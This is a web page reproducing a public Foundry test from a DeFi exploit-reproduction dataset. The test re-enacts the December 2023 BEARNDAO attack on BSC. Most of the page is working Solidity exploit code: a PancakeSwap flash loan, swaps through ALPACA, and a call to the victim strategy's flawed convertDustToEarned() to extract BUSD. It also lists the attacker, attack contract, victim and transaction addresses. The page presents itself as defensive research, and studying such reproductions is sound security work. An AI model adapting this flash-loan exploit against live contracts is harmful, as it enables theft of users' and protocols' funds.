Skip to content
THREATWIRE

Public reproduction file

src/test/2023-12/BEARNDAO_exp.sol

Public reproduction file for dataset entry BEARNDAO.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-12/BEARNDAO_exp.sol101 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$769K
8// Attacker : https://bscscan.com/address/0xce27b195fa6de27081a86b98b64f77f5fb328dd5
9// Attack Contract : https://bscscan.com/address/0xe1997bc971d5986aa57ee8ffb57eb1deba4fdaaa
10// Victim Contract : https://bscscan.com/address/0x21125d94cfe886e7179c8d2fe8c1ea8d57c73e0e
11// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0x51913be3f31d5ddbfc77da789e5f9653ed6b219a52772309802226445a1edd5f
13// @Analysis
14// https://twitter.com/AnciliaInc/status/1732159377749180646
16interface IBvaultsStrategy {
17 function convertDustToEarned() external;
20contract ContractTest is Test {
21 IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
22 IERC20 private constant ALPACA = IERC20(0x8F0528cE5eF7B51152A59745bEfDD91D97091d2F);
23 IERC20 private constant BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
24 Uni_Pair_V2 private constant CAKE_WBNB = Uni_Pair_V2(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0);
25 Uni_Router_V2 private constant Router = Uni_Router_V2(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F);
26 IBvaultsStrategy private constant BvaultsStrategy = IBvaultsStrategy(0x21125d94Cfe886e7179c8D2fE8c1EA8D57C73E0e);
27 address private constant exploitContractAddr = 0xe1997bC971D5986AA57Ee8ffB57eb1DeBa4fDAaa;
28 address private constant helperExpContractAddr = 0x1ccC8eE8Ad0f70E0Bb362d56035fF241755192b1;
30 function setUp() public {
31 vm.createSelectFork("bsc", 34_099_688);
32 vm.label(address(WBNB), "WBNB");
33 vm.label(address(ALPACA), "ALPACA");
34 vm.label(address(BUSD), "BUSD");
35 vm.label(address(CAKE_WBNB), "CAKE_WBNB");
36 vm.label(address(Router), "Router");
37 vm.label(address(BvaultsStrategy), "BvaultsStrategy");
38 }
40 function testExploit() public {
41 deal(address(WBNB), address(this), 0);
42 deal(address(BUSD), address(this), 0);
43 emit log_named_decimal_uint(
44 "Exploiter amount of BUSD before attack", BUSD.balanceOf(address(this)), BUSD.decimals()
45 );
47 CAKE_WBNB.swap(0, 10_000 * 1e18, address(this), abi.encode(0));
49 emit log_named_decimal_uint(
50 "Exploiter amount of BUSD after attack", BUSD.balanceOf(address(this)), BUSD.decimals()
51 );
52 }
54 function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
55 WBNB.approve(address(Router), type(uint256).max);
56 ALPACA.approve(address(Router), type(uint256).max);
57 WBNB_ALPACA();
58 // Flawed function
59 BvaultsStrategy.convertDustToEarned();
60 ALPACA_WBNB();
61 WBNB_BUSD();
62 // Here there was a transfer of WBNB amount (for repaying flashloan) from second exploit contract (selfdestructed) to this contract
63 deal(address(WBNB), address(this), WBNB.balanceOf(address(this)) + 10e17);
65 // Flashloan repay
66 uint256 transferAmount = getAmount();
67 WBNB.transfer(address(CAKE_WBNB), transferAmount);
68 }
70 function WBNB_ALPACA() internal {
71 address[] memory path = new address[](2);
72 path[0] = address(WBNB);
73 path[1] = address(ALPACA);
74 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
75 WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
76 );
77 }
79 function ALPACA_WBNB() internal {
80 address[] memory path = new address[](2);
81 path[0] = address(ALPACA);
82 path[1] = address(WBNB);
83 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
84 ALPACA.balanceOf(address(this)), 0, path, address(this), block.timestamp
85 );
86 }
88 function WBNB_BUSD() internal {
89 address[] memory path = new address[](2);
90 path[0] = address(WBNB);
91 path[1] = address(BUSD);
92 uint256 amountIn = WBNB.balanceOf(address(this)) - getAmount() + 10e17;
93 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, 0, path, address(this), block.timestamp);
94 }
96 function getAmount() internal returns (uint256) {
97 // Value taken from original, selfdestructed contract. Used in amount calculation
98 uint256 amount = uint256(vm.load(exploitContractAddr, bytes32(uint256(6))));
99 return ((amount / 9975) * 10_000) + 10_000;
100 }

Analysis

Dataset entry

Public Foundry test for “BEARNDAO” (2023-12-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xce27b195fa6de27081a86b98b64f77f5fb328dd5

  • Attack Contract

    0xe1997bc971d5986aa57ee8ffb57eb1deba4fdaaa

  • Victim

    0x21125d94cfe886e7179c8d2fe8c1ea8d57c73e0e

  • Attack Tx

    0x51913be3f31d5ddbfc77da789e5f9653ed6b219a52772309802226445a1edd5f

File record

Name
BEARNDAO
Path
src/test/2023-12/BEARNDAO_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
5f2ad772f3abfe6c88007ab08f3a5d0f25cb02e4
Language
Solidity
Size
102 lines
Date
2023-12-05
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-12/BEARNDAO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5f2ad772f3abfe6c88007ab08f3a5d0f25cb02e4, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.